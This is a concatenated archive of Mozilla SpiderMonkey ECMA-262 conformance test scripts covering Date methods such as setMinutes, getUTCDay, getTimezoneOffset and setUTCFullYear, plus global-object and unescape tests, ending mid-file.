void 0, void 0, "TDATE = new Date(0);(TDATE).setMinutes(0);TDATE", UTCDateFromTime(SetMinutes(0,0,0,0)), LocalDateFromTime(SetMinutes(0,0,0,0)) ); addNewTestCase( 28800000, 59, 59, void 0, "TDATE = new Date(28800000);(TDATE).setMinutes(59,59);TDATE", UTCDateFromTime(SetMinutes(28800000,59,59)), LocalDateFromTime(SetMinutes(28800000,59,59)) ); addNewTestCase( 28800000, 59, 59, 999, "TDATE = new Date(28800000);(TDATE).setMinutes(59,59,999);TDATE", UTCDateFromTime(SetMinutes(28800000,59,59,999)), LocalDateFromTime(SetMinutes(28800000,59,59,999)) ); addNewTestCase( 28800000, 59, void 0, void 0, "TDATE = new Date(28800000);(TDATE).setMinutes(59);TDATE", UTCDateFromTime(SetMinutes(28800000,59,0)), LocalDateFromTime(SetMinutes(28800000,59,0)) ); addNewTestCase( 28800000, -480, void 0, void 0, "TDATE = new Date(28800000);(TDATE).setMinutes(-480);TDATE", UTCDateFromTime(SetMinutes(28800000,-480)), LocalDateFromTime(SetMinutes(28800000,-480)) ); addNewTestCase( 946684800000, 1234567, void 0, void 0, "TDATE = new Date(946684800000);(TDATE).setMinutes(1234567);TDATE", UTCDateFromTime(SetMinutes(946684800000,1234567)), LocalDateFromTime(SetMinutes(946684800000,1234567)) ); addNewTestCase( -2208988800000,59, 59, void 0, "TDATE = new Date(-2208988800000);(TDATE).setMinutes(59,59);TDATE", UTCDateFromTime(SetMinutes(-2208988800000,59,59)), LocalDateFromTime(SetMinutes(-2208988800000,59,59)) ); addNewTestCase( -2208988800000, 59, 59, 999, "TDATE = new Date(-2208988800000);(TDATE).setMinutes(59,59,999);TDATE", UTCDateFromTime(SetMinutes(-2208988800000,59,59,999)), LocalDateFromTime(SetMinutes(-2208988800000,59,59,999)) ); test(); function addNewTestCase( time, min, sec, ms, DateString, UTCDate, LocalDate) { DateCase = new Date( time ); if ( sec == void 0 ) { DateCase.setMinutes( min ); } else { if ( ms == void 0 ) { DateCase.setMinutes( min, sec ); } else { DateCase.setMinutes( min, sec, ms ); } } new TestCase( SECTION, DateString+".getTime()", UTCDate.value, DateCase.getTime() ); new TestCase( SECTION, DateString+".valueOf()", UTCDate.value, DateCase.valueOf() ); new TestCase( SECTION, DateString+".getUTCFullYear()", UTCDate.year, DateCase.getUTCFullYear() ); new TestCase( SECTION, DateString+".getUTCMonth()", UTCDate.month, DateCase.getUTCMonth() ); new TestCase( SECTION, DateString+".getUTCDate()", UTCDate.date, DateCase.getUTCDate() ); new TestCase( SECTION, DateString+".getUTCHours()", UTCDate.hours, DateCase.getUTCHours() ); new TestCase( SECTION, DateString+".getUTCMinutes()", UTCDate.minutes,DateCase.getUTCMinutes() ); new TestCase( SECTION, DateString+".getUTCSeconds()", UTCDate.seconds,DateCase.getUTCSeconds() ); new TestCase( SECTION, DateString+".getUTCMilliseconds()", UTCDate.ms, DateCase.getUTCMilliseconds() ); new TestCase( SECTION, DateString+".getFullYear()", LocalDate.year, DateCase.getFullYear() ); new TestCase( SECTION, DateString+".getMonth()", LocalDate.month, DateCase.getMonth() ); new TestCase( SECTION, DateString+".getDate()", LocalDate.date, DateCase.getDate() ); new TestCase( SECTION, DateString+".getHours()", LocalDate.hours, DateCase.getHours() ); new TestCase( SECTION, DateString+".getMinutes()", LocalDate.minutes, DateCase.getMinutes() ); new TestCase( SECTION, DateString+".getSeconds()", LocalDate.seconds, DateCase.getSeconds() ); new TestCase( SECTION, DateString+".getMilliseconds()", LocalDate.ms, DateCase.getMilliseconds() ); DateCase.toString = Object.prototype.toString; new TestCase( SECTION, DateString+".toString=Object.prototype.toString;"+DateString+".toString()", "[object Date]", DateCase.toString() ); } function MyDate() { this.year = 0; this.month = 0; this.date = 0; this.hours = 0; this.minutes = 0; this.seconds = 0; this.ms = 0; } function LocalDateFromTime(t) { t = LocalTime(t); return ( MyDateFromTime(t) ); } function UTCDateFromTime(t) { return ( MyDateFromTime(t) ); } function MyDateFromTime( t ) { var d = new MyDate(); d.year = YearFromTime(t); d.month = MonthFromTime(t); d.date = DateFromTime(t); d.hours = HourFromTime(t); d.minutes = MinFromTime(t); d.seconds = SecFromTime(t); d.ms = msFromTime(t); d.time = MakeTime( d.hours, d.minutes, d.seconds, d.ms ); d.value = TimeClip( MakeDate( MakeDay( d.year, d.month, d.date ), d.time ) ); d.day = WeekDay( d.value ); return (d); } function SetMinutes( t, min, sec, ms ) { var TIME = LocalTime(t); var MIN = Number(min); var SEC = ( sec == void 0) ? SecFromTime(TIME) : Number(sec); var MS = ( ms == void 0 ) ? msFromTime(TIME) : Number(ms); var RESULT5 = MakeTime( HourFromTime( TIME ), MIN, SEC, MS ); return ( TimeClip(UTC( MakeDate(Day(TIME),RESULT5))) ); } mozjs17.0.0/js/src/tests/ecma/Date/15.9.5.13-3.js0000664000175000017500000000212612106270663020410 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.9.5.13.js ECMA Section: 15.9.5.13 Description: Date.prototype.getUTCDay 1.Let t be this time value. 2.If t is NaN, return NaN. 3.Return WeekDay(t). Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "15.9.5.13"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Date.prototype.getUTCDay()"; writeHeaderToLog( SECTION + " "+ TITLE); addTestCase( TIME_1970 ); test(); function addTestCase( t ) { var start = TimeFromYear(YearFromTime(t)); var stop = TimeFromYear(YearFromTime(t) + 1); for (var d = start; d < stop; d += msPerDay) { new TestCase( SECTION, "(new Date("+d+")).getUTCDay()", WeekDay((d)), (new Date(d)).getUTCDay() ); } } mozjs17.0.0/js/src/tests/ecma/Date/15.9.5.13-7.js0000664000175000017500000000213212106270663020411 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.9.5.13.js ECMA Section: 15.9.5.13 Description: Date.prototype.getUTCDay 1.Let t be this time value. 2.If t is NaN, return NaN. 3.Return WeekDay(t). Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "15.9.5.13"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Date.prototype.getUTCDay()"; writeHeaderToLog( SECTION + " "+ TITLE); addTestCase( UTC_JAN_1_2005 ); test(); function addTestCase( t ) { var start = TimeFromYear(YearFromTime(t)); var stop = TimeFromYear(YearFromTime(t) + 1); for (var d = start; d < stop; d += msPerDay) { new TestCase( SECTION, "(new Date("+d+")).getUTCDay()", WeekDay((d)), (new Date(d)).getUTCDay() ); } } mozjs17.0.0/js/src/tests/ecma/Date/15.9.3.8-1.js0000664000175000017500000001130512106270663020327 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.9.3.8.js ECMA Section: 15.9.3.8 The Date Constructor new Date( value ) Description: The [[Prototype]] property of the newly constructed object is set to the original Date prototype object, the one that is the initial valiue of Date.prototype. The [[Class]] property of the newly constructed object is set to "Date". The [[Value]] property of the newly constructed object is set as follows: 1. Call ToPrimitive(value) 2. If Type( Result(1) ) is String, then go to step 5. 3. Let V be ToNumber( Result(1) ). 4. Set the [[Value]] property of the newly constructed object to TimeClip(V) and return. 5. Parse Result(1) as a date, in exactly the same manner as for the parse method. Let V be the time value for this date. 6. Go to step 4. Author: christine@netscape.com Date: 28 october 1997 Version: 9706 */ var VERSION = "ECMA_1"; startTest(); var SECTION = "15.9.3.8"; var TYPEOF = "object"; var TIME = 0; var UTC_YEAR = 1; var UTC_MONTH = 2; var UTC_DATE = 3; var UTC_DAY = 4; var UTC_HOURS = 5; var UTC_MINUTES = 6; var UTC_SECONDS = 7; var UTC_MS = 8; var YEAR = 9; var MONTH = 10; var DATE = 11; var DAY = 12; var HOURS = 13; var MINUTES = 14; var SECONDS = 15; var MS = 16; // for TCMS, the gTestcases array must be global. var gTc= 0; var TITLE = "Date constructor: new Date( value )"; var SECTION = "15.9.3.8"; var VERSION = "ECMA_1"; startTest(); writeHeaderToLog( SECTION +" " + TITLE ); // all the "ResultArrays" below are hard-coded to Pacific Standard Time values - var TZ_ADJUST = -TZ_PST * msPerHour; // Dates around 1970 addNewTestCase( new Date(0), "new Date(0)", [0,1970,0,1,4,0,0,0,0,1969,11,31,3,16,0,0,0] ); addNewTestCase( new Date(1), "new Date(1)", [1,1970,0,1,4,0,0,0,1,1969,11,31,3,16,0,0,1] ); addNewTestCase( new Date(true), "new Date(true)", [1,1970,0,1,4,0,0,0,1,1969,11,31,3,16,0,0,1] ); addNewTestCase( new Date(false), "new Date(false)", [0,1970,0,1,4,0,0,0,0,1969,11,31,3,16,0,0,0] ); addNewTestCase( new Date( (new Date(0)).toString() ), "new Date(\""+ (new Date(0)).toString()+"\" )", [0,1970,0,1,4,0,0,0,0,1969,11,31,3,16,0,0,0] ); test(); function addNewTestCase( DateCase, DateString, ResultArray ) { //adjust hard-coded ResultArray for tester's timezone instead of PST adjustResultArray(ResultArray, 'msMode'); new TestCase( SECTION, DateString+".getTime()", ResultArray[TIME], DateCase.getTime() ); new TestCase( SECTION, DateString+".valueOf()", ResultArray[TIME], DateCase.valueOf() ); new TestCase( SECTION, DateString+".getUTCFullYear()", ResultArray[UTC_YEAR], DateCase.getUTCFullYear() ); new TestCase( SECTION, DateString+".getUTCMonth()", ResultArray[UTC_MONTH], DateCase.getUTCMonth() ); new TestCase( SECTION, DateString+".getUTCDate()", ResultArray[UTC_DATE], DateCase.getUTCDate() ); new TestCase( SECTION, DateString+".getUTCDay()", ResultArray[UTC_DAY], DateCase.getUTCDay() ); new TestCase( SECTION, DateString+".getUTCHours()", ResultArray[UTC_HOURS], DateCase.getUTCHours() ); new TestCase( SECTION, DateString+".getUTCMinutes()", ResultArray[UTC_MINUTES],DateCase.getUTCMinutes() ); new TestCase( SECTION, DateString+".getUTCSeconds()", ResultArray[UTC_SECONDS],DateCase.getUTCSeconds() ); new TestCase( SECTION, DateString+".getUTCMilliseconds()", ResultArray[UTC_MS], DateCase.getUTCMilliseconds() ); new TestCase( SECTION, DateString+".getFullYear()", ResultArray[YEAR], DateCase.getFullYear() ); new TestCase( SECTION, DateString+".getMonth()", ResultArray[MONTH], DateCase.getMonth() ); new TestCase( SECTION, DateString+".getDate()", ResultArray[DATE], DateCase.getDate() ); new TestCase( SECTION, DateString+".getDay()", ResultArray[DAY], DateCase.getDay() ); new TestCase( SECTION, DateString+".getHours()", ResultArray[HOURS], DateCase.getHours() ); new TestCase( SECTION, DateString+".getMinutes()", ResultArray[MINUTES], DateCase.getMinutes() ); new TestCase( SECTION, DateString+".getSeconds()", ResultArray[SECONDS], DateCase.getSeconds() ); new TestCase( SECTION, DateString+".getMilliseconds()", ResultArray[MS], DateCase.getMilliseconds() ); } mozjs17.0.0/js/src/tests/ecma/Date/15.9.5.22-5.js0000664000175000017500000000213512106270663020412 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.9.5.22.js ECMA Section: 15.9.5.22 Description: Date.prototype.getTimezoneOffset Returns the difference between local time and UTC time in minutes. 1. Let t be this time value. 2. If t is NaN, return NaN. 3. Return (t - LocalTime(t)) / msPerMinute. Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "15.9.5.22"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Date.prototype.getTimezoneOffset()"; writeHeaderToLog( SECTION + " "+ TITLE); addTestCase( TIME_2000 ); test(); function addTestCase( t ) { for ( m = 0; m <= 1000; m+=100 ) { t++; new TestCase( SECTION, "(new Date("+t+")).getTimezoneOffset()", (t - LocalTime(t)) / msPerMinute, (new Date(t)).getTimezoneOffset() ); } } mozjs17.0.0/js/src/tests/ecma/Date/15.9.5.4-2-n.js0000664000175000017500000000207012106270663020560 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.9.5.4-2-n.js ECMA Section: 15.9.5.4-1 Date.prototype.getTime Description: 1. If the this value is not an object whose [[Class]] property is "Date", generate a runtime error. 2. Return this time value. Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "15.9.5.4-2-n"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Date.prototype.getTime"; writeHeaderToLog( SECTION + " "+ TITLE); var MYDATE = new MyDate( TIME_2000 ); DESCRIPTION = "MYDATE.getTime()"; EXPECTED = "error"; new TestCase( SECTION, "MYDATE.getTime()", "error", eval("MYDATE.getTime()") ); test(); function MyDate( value ) { this.value = value; this.getTime = Date.prototype.getTime; } mozjs17.0.0/js/src/tests/ecma/Date/15.9.5.22-1.js0000664000175000017500000000276012106270663020412 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.9.5.22.js ECMA Section: 15.9.5.22 Description: Date.prototype.getTimezoneOffset Returns the difference between local time and UTC time in minutes. 1. Let t be this time value. 2. If t is NaN, return NaN. 3. Return (t - LocalTime(t)) / msPerMinute. Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "15.9.5.22"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Date.prototype.getTimezoneOffset()"; writeHeaderToLog( SECTION + " "+ TITLE); addTestCase( TIME_0000 ); addTestCase( TIME_1970 ); addTestCase( TIME_1900 ); addTestCase( TIME_2000 ); addTestCase( UTC_FEB_29_2000 ); addTestCase( UTC_JAN_1_2005 ); new TestCase( SECTION, "(new Date(NaN)).getTimezoneOffset()", NaN, (new Date(NaN)).getTimezoneOffset() ); new TestCase( SECTION, "Date.prototype.getTimezoneOffset.length", 0, Date.prototype.getTimezoneOffset.length ); test(); function addTestCase( t ) { for ( m = 0; m <= 1000; m+=100 ) { t++; new TestCase( SECTION, "(new Date("+t+")).getTimezoneOffset()", (t - LocalTime(t)) / msPerMinute, (new Date(t)).getTimezoneOffset() ); } } mozjs17.0.0/js/src/tests/ecma/Date/15.9.5.23-13.js0000664000175000017500000001032212106270663020467 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.9.5.23-1.js ECMA Section: 15.9.5.23 Date.prototype.setTime(time) Description: 1. If the this value is not a Date object, generate a runtime error. 2. Call ToNumber(time). 3. Call TimeClip(Result(1)). 4. Set the [[Value]] property of the this value to Result(2). 5. Return the value of the [[Value]] property of the this value. Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "15.9.5.23-13"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Date.prototype.setTime()"; writeHeaderToLog( SECTION + " Date.prototype.setTime(time)"); var now = "now"; addTestCase( now, -2208988800000 ); test(); function addTestCase( startTime, setTime ) { if ( startTime == "now" ) { DateCase = new Date(); } else { DateCase = new Date( startTime ); } DateCase.setTime( setTime ); var DateString = "var d = new Date("+startTime+"); d.setTime("+setTime+"); d" ; var UTCDate = UTCDateFromTime ( Number(setTime) ); var LocalDate = LocalDateFromTime( Number(setTime) ); new TestCase( SECTION, DateString+".getTime()", UTCDate.value, DateCase.getTime() ); new TestCase( SECTION, DateString+".valueOf()", UTCDate.value, DateCase.valueOf() ); new TestCase( SECTION, DateString+".getUTCFullYear()", UTCDate.year, DateCase.getUTCFullYear() ); new TestCase( SECTION, DateString+".getUTCMonth()", UTCDate.month, DateCase.getUTCMonth() ); new TestCase( SECTION, DateString+".getUTCDate()", UTCDate.date, DateCase.getUTCDate() ); new TestCase( SECTION, DateString+".getUTCDay()", UTCDate.day, DateCase.getUTCDay() ); new TestCase( SECTION, DateString+".getUTCHours()", UTCDate.hours, DateCase.getUTCHours() ); new TestCase( SECTION, DateString+".getUTCMinutes()", UTCDate.minutes, DateCase.getUTCMinutes() ); new TestCase( SECTION, DateString+".getUTCSeconds()", UTCDate.seconds, DateCase.getUTCSeconds() ); new TestCase( SECTION, DateString+".getUTCMilliseconds()", UTCDate.ms, DateCase.getUTCMilliseconds() ); new TestCase( SECTION, DateString+".getFullYear()", LocalDate.year, DateCase.getFullYear() ); new TestCase( SECTION, DateString+".getMonth()", LocalDate.month, DateCase.getMonth() ); new TestCase( SECTION, DateString+".getDate()", LocalDate.date, DateCase.getDate() ); new TestCase( SECTION, DateString+".getDay()", LocalDate.day, DateCase.getDay() ); new TestCase( SECTION, DateString+".getHours()", LocalDate.hours, DateCase.getHours() ); new TestCase( SECTION, DateString+".getMinutes()", LocalDate.minutes, DateCase.getMinutes() ); new TestCase( SECTION, DateString+".getSeconds()", LocalDate.seconds, DateCase.getSeconds() ); new TestCase( SECTION, DateString+".getMilliseconds()", LocalDate.ms, DateCase.getMilliseconds() ); DateCase.toString = Object.prototype.toString; new TestCase( SECTION, DateString+".toString=Object.prototype.toString;"+DateString+".toString()", "[object Date]", DateCase.toString() ); } function MyDate() { this.year = 0; this.month = 0; this.date = 0; this.hours = 0; this.minutes = 0; this.seconds = 0; this.ms = 0; } function LocalDateFromTime(t) { t = LocalTime(t); return ( MyDateFromTime(t) ); } function UTCDateFromTime(t) { return ( MyDateFromTime(t) ); } function MyDateFromTime( t ) { var d = new MyDate(); d.year = YearFromTime(t); d.month = MonthFromTime(t); d.date = DateFromTime(t); d.hours = HourFromTime(t); d.minutes = MinFromTime(t); d.seconds = SecFromTime(t); d.ms = msFromTime(t); d.time = MakeTime( d.hours, d.minutes, d.seconds, d.ms ); d.value = TimeClip( MakeDate( MakeDay( d.year, d.month, d.date ), d.time ) ); d.day = WeekDay( d.value ); return (d); } mozjs17.0.0/js/src/tests/ecma/Date/15.9.5.6.js0000664000175000017500000000362312106270663020175 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.9.5.6.js ECMA Section: 15.9.5.6 Description: Date.prototype.getFullYear 1. Let t be this time value. 2. If t is NaN, return NaN. 3. Return YearFromTime(LocalTime(t)). Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "15.9.5.6"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Date.prototype.getFullYear()"; writeHeaderToLog( SECTION + " "+ TITLE); addTestCase( TIME_NOW ); addTestCase( TIME_0000 ); addTestCase( TIME_1970 ); addTestCase( TIME_1900 ); addTestCase( TIME_2000 ); addTestCase( UTC_FEB_29_2000 ); addTestCase( UTC_JAN_1_2005 ); new TestCase( SECTION, "(new Date(NaN)).getFullYear()", NaN, (new Date(NaN)).getFullYear() ); new TestCase( SECTION, "Date.prototype.getFullYear.length", 0, Date.prototype.getFullYear.length ); test(); function addTestCase( t ) { new TestCase( SECTION, "(new Date("+t+")).getFullYear()", YearFromTime(LocalTime(t)), (new Date(t)).getFullYear() ); new TestCase( SECTION, "(new Date("+(t+1)+")).getFullYear()", YearFromTime(LocalTime(t+1)), (new Date(t+1)).getFullYear() ); new TestCase( SECTION, "(new Date("+(t-1)+")).getFullYear()", YearFromTime(LocalTime(t-1)), (new Date(t-1)).getFullYear() ); new TestCase( SECTION, "(new Date("+(t-TZ_ADJUST)+")).getFullYear()", YearFromTime(LocalTime(t-TZ_ADJUST)), (new Date(t-TZ_ADJUST)).getFullYear() ); new TestCase( SECTION, "(new Date("+(t+TZ_ADJUST)+")).getFullYear()", YearFromTime(LocalTime(t+TZ_ADJUST)), (new Date(t+TZ_ADJUST)).getFullYear() ); } mozjs17.0.0/js/src/tests/ecma/Date/15.9.5.37-5.js0000664000175000017500000001226412106270663020424 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.9.5.37-1.js ECMA Section: 15.9.5.37 Date.prototype.setUTCFullYear(year [, mon [, date ]] ) Description: If mon is not specified, this behaves as if mon were specified with the value getUTCMonth( ). If date is not specified, this behaves as if date were specified with the value getUTCDate( ). 1. Let t be this time value; but if this time value is NaN, let t be +0. 2. Call ToNumber(year). 3. If mon is not specified, compute MonthFromTime(t); otherwise, call ToNumber(mon). 4. If date is not specified, compute DateFromTime(t); otherwise, call ToNumber(date). 5. Compute MakeDay(Result(2), Result(3), Result(4)). 6. Compute MakeDate(Result(5), TimeWithinDay(t)). 7. Set the [[Value]] property of the this value to TimeClip(Result(6)). 8. Return the value of the [[Value]] property of the this value. Author: christine@netscape.com Date: 12 november 1997 Added some Year 2000 test cases. */ var SECTION = "15.9.5.37-1"; var VERSION = "ECMA_1"; startTest(); writeHeaderToLog( SECTION + " Date.prototype.setUTCFullYear(year [, mon [, date ]] )"); // Dates around 1900 addNewTestCase( "TDATE = new Date(0); TDATE.setUTCFullYear(1900);TDATE", UTCDateFromTime(SetUTCFullYear(0,1900)), LocalDateFromTime(SetUTCFullYear(0,1900)) ); addNewTestCase( "TDATE = new Date(0); TDATE.setUTCFullYear(1899);TDATE", UTCDateFromTime(SetUTCFullYear(0,1899)), LocalDateFromTime(SetUTCFullYear(0,1899)) ); addNewTestCase( "TDATE = new Date(0); TDATE.setUTCFullYear(1901);TDATE", UTCDateFromTime(SetUTCFullYear(0,1901)), LocalDateFromTime(SetUTCFullYear(0,1901)) ); test(); function addNewTestCase( DateString, UTCDate, LocalDate) { DateCase = eval( DateString ); new TestCase( SECTION, DateString+".getTime()", UTCDate.value, DateCase.getTime() ); new TestCase( SECTION, DateString+".valueOf()", UTCDate.value, DateCase.valueOf() ); new TestCase( SECTION, DateString+".getUTCFullYear()", UTCDate.year, DateCase.getUTCFullYear() ); new TestCase( SECTION, DateString+".getUTCMonth()", UTCDate.month, DateCase.getUTCMonth() ); new TestCase( SECTION, DateString+".getUTCDate()", UTCDate.date, DateCase.getUTCDate() ); new TestCase( SECTION, DateString+".getUTCDay()", UTCDate.day, DateCase.getUTCDay() ); new TestCase( SECTION, DateString+".getUTCHours()", UTCDate.hours, DateCase.getUTCHours() ); new TestCase( SECTION, DateString+".getUTCMinutes()", UTCDate.minutes,DateCase.getUTCMinutes() ); new TestCase( SECTION, DateString+".getUTCSeconds()", UTCDate.seconds,DateCase.getUTCSeconds() ); new TestCase( SECTION, DateString+".getUTCMilliseconds()", UTCDate.ms, DateCase.getUTCMilliseconds() ); new TestCase( SECTION, DateString+".getFullYear()", LocalDate.year, DateCase.getFullYear() ); new TestCase( SECTION, DateString+".getMonth()", LocalDate.month, DateCase.getMonth() ); new TestCase( SECTION, DateString+".getDate()", LocalDate.date, DateCase.getDate() ); new TestCase( SECTION, DateString+".getDay()", LocalDate.day, DateCase.getDay() ); new TestCase( SECTION, DateString+".getHours()", LocalDate.hours, DateCase.getHours() ); new TestCase( SECTION, DateString+".getMinutes()", LocalDate.minutes, DateCase.getMinutes() ); new TestCase( SECTION, DateString+".getSeconds()", LocalDate.seconds, DateCase.getSeconds() ); new TestCase( SECTION, DateString+".getMilliseconds()", LocalDate.ms, DateCase.getMilliseconds() ); DateCase.toString = Object.prototype.toString; new TestCase( SECTION, DateString+".toString=Object.prototype.toString;"+DateString+".toString()", "[object Date]", DateCase.toString() ); } function MyDate() { this.year = 0; this.month = 0; this.date = 0; this.hours = 0; this.minutes = 0; this.seconds = 0; this.ms = 0; } function LocalDateFromTime(t) { t = LocalTime(t); return ( MyDateFromTime(t) ); } function UTCDateFromTime(t) { return ( MyDateFromTime(t) ); } function MyDateFromTime( t ) { var d = new MyDate(); d.year = YearFromTime(t); d.month = MonthFromTime(t); d.date = DateFromTime(t); d.hours = HourFromTime(t); d.minutes = MinFromTime(t); d.seconds = SecFromTime(t); d.ms = msFromTime(t); d.time = MakeTime( d.hours, d.minutes, d.seconds, d.ms ); d.value = TimeClip( MakeDate( MakeDay( d.year, d.month, d.date ), d.time ) ); d.day = WeekDay( d.value ); return (d); } function SetUTCFullYear( t, year, mon, date ) { var T = ( t != t ) ? 0 : t; var YEAR = Number(year); var MONTH = ( mon == void 0 ) ? MonthFromTime(T) : Number( mon ); var DATE = ( date == void 0 ) ? DateFromTime(T) : Number( date ); var DAY = MakeDay( YEAR, MONTH, DATE ); return ( TimeClip(MakeDate(DAY, TimeWithinDay(T))) ); } mozjs17.0.0/js/src/tests/ecma/GlobalObject/0000775000175000017500000000000012106270663020402 5ustar sstanglsstanglmozjs17.0.0/js/src/tests/ecma/GlobalObject/15.1-2-n.js0000664000175000017500000000161212106270663021716 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.1-2-n.js ECMA Section: The global object Description: The global object does not have a [[Call]] property; it is not possible to invoke the global object as a function. Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "15.1-2-n"; var VERSION = "ECMA_1"; startTest(); var TITLE = "The Global Object"; writeHeaderToLog( SECTION + " "+ TITLE); DESCRIPTION = "var MY_GLOBAL = this()"; EXPECTED = "error"; new TestCase( SECTION, "var MY_GLOBAL = this()", "error", eval("var MY_GLOBAL = this()") ); test(); mozjs17.0.0/js/src/tests/ecma/GlobalObject/15.1.2.5-3.js0000664000175000017500000001270112106270663021770 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.1.2.5-3.js ECMA Section: 15.1.2.5 Function properties of the global object unescape( string ) Description: This tests the cases where one of the four characters following "%u" is not a hexidecimal character, or one of the two characters following "%" or "%u" is not a hexidecimal character. The unescape function computes a new version of a string value in which each escape sequences of the sort that might be introduced by the escape function is replaced with the character that it represents. When the unescape function is called with one argument string, the following steps are taken: 1. Call ToString(string). 2. Compute the number of characters in Result(1). 3. Let R be the empty string. 4. Let k be 0. 5. If k equals Result(2), return R. 6. Let c be the character at position k within Result(1). 7. If c is not %, go to step 18. 8. If k is greater than Result(2)-6, go to step 14. 9. If the character at position k+1 within result(1) is not u, go to step 14. 10. If the four characters at positions k+2, k+3, k+4, and k+5 within Result(1) are not all hexadecimal digits, go to step 14. 11. Let c be the character whose Unicode encoding is the integer represented by the four hexadecimal digits at positions k+2, k+3, k+4, and k+5 within Result(1). 12. Increase k by 5. 13. Go to step 18. 14. If k is greater than Result(2)-3, go to step 18. 15. If the two characters at positions k+1 and k+2 within Result(1) are not both hexadecimal digits, go to step 18. 16. Let c be the character whose Unicode encoding is the integer represented by two zeroes plus the two hexadecimal digits at positions k+1 and k+2 within Result(1). 17. Increase k by 2. 18. Let R be a new string value computed by concatenating the previous value of R and c. 19. Increase k by 1. 20. Go to step 5. Author: christine@netscape.com Date: 28 october 1997 */ var SECTION = "15.1.2.5-3"; var VERSION = "ECMA_1"; startTest(); var TITLE = "unescape(string)"; writeHeaderToLog( SECTION + " "+ TITLE); for ( var CHARCODE = 0, NONHEXCHARCODE = 0; CHARCODE < 256; CHARCODE++, NONHEXCHARCODE++ ) { NONHEXCHARCODE = getNextNonHexCharCode( NONHEXCHARCODE ); new TestCase( SECTION, "unescape( %"+ (ToHexString(CHARCODE)).substring(0,1) + String.fromCharCode( NONHEXCHARCODE ) +" )" + "[where last character is String.fromCharCode("+NONHEXCHARCODE+")]", "%"+(ToHexString(CHARCODE)).substring(0,1)+ String.fromCharCode( NONHEXCHARCODE ), unescape( "%" + (ToHexString(CHARCODE)).substring(0,1)+ String.fromCharCode( NONHEXCHARCODE ) ) ); } for ( var CHARCODE = 0, NONHEXCHARCODE = 0; CHARCODE < 256; CHARCODE++, NONHEXCHARCODE++ ) { NONHEXCHARCODE = getNextNonHexCharCode( NONHEXCHARCODE ); new TestCase( SECTION, "unescape( %u"+ (ToHexString(CHARCODE)).substring(0,1) + String.fromCharCode( NONHEXCHARCODE ) +" )" + "[where last character is String.fromCharCode("+NONHEXCHARCODE+")]", "%u"+(ToHexString(CHARCODE)).substring(0,1)+ String.fromCharCode( NONHEXCHARCODE ), unescape( "%u" + (ToHexString(CHARCODE)).substring(0,1)+ String.fromCharCode( NONHEXCHARCODE ) ) ); } for ( var CHARCODE = 0, NONHEXCHARCODE = 0 ; CHARCODE < 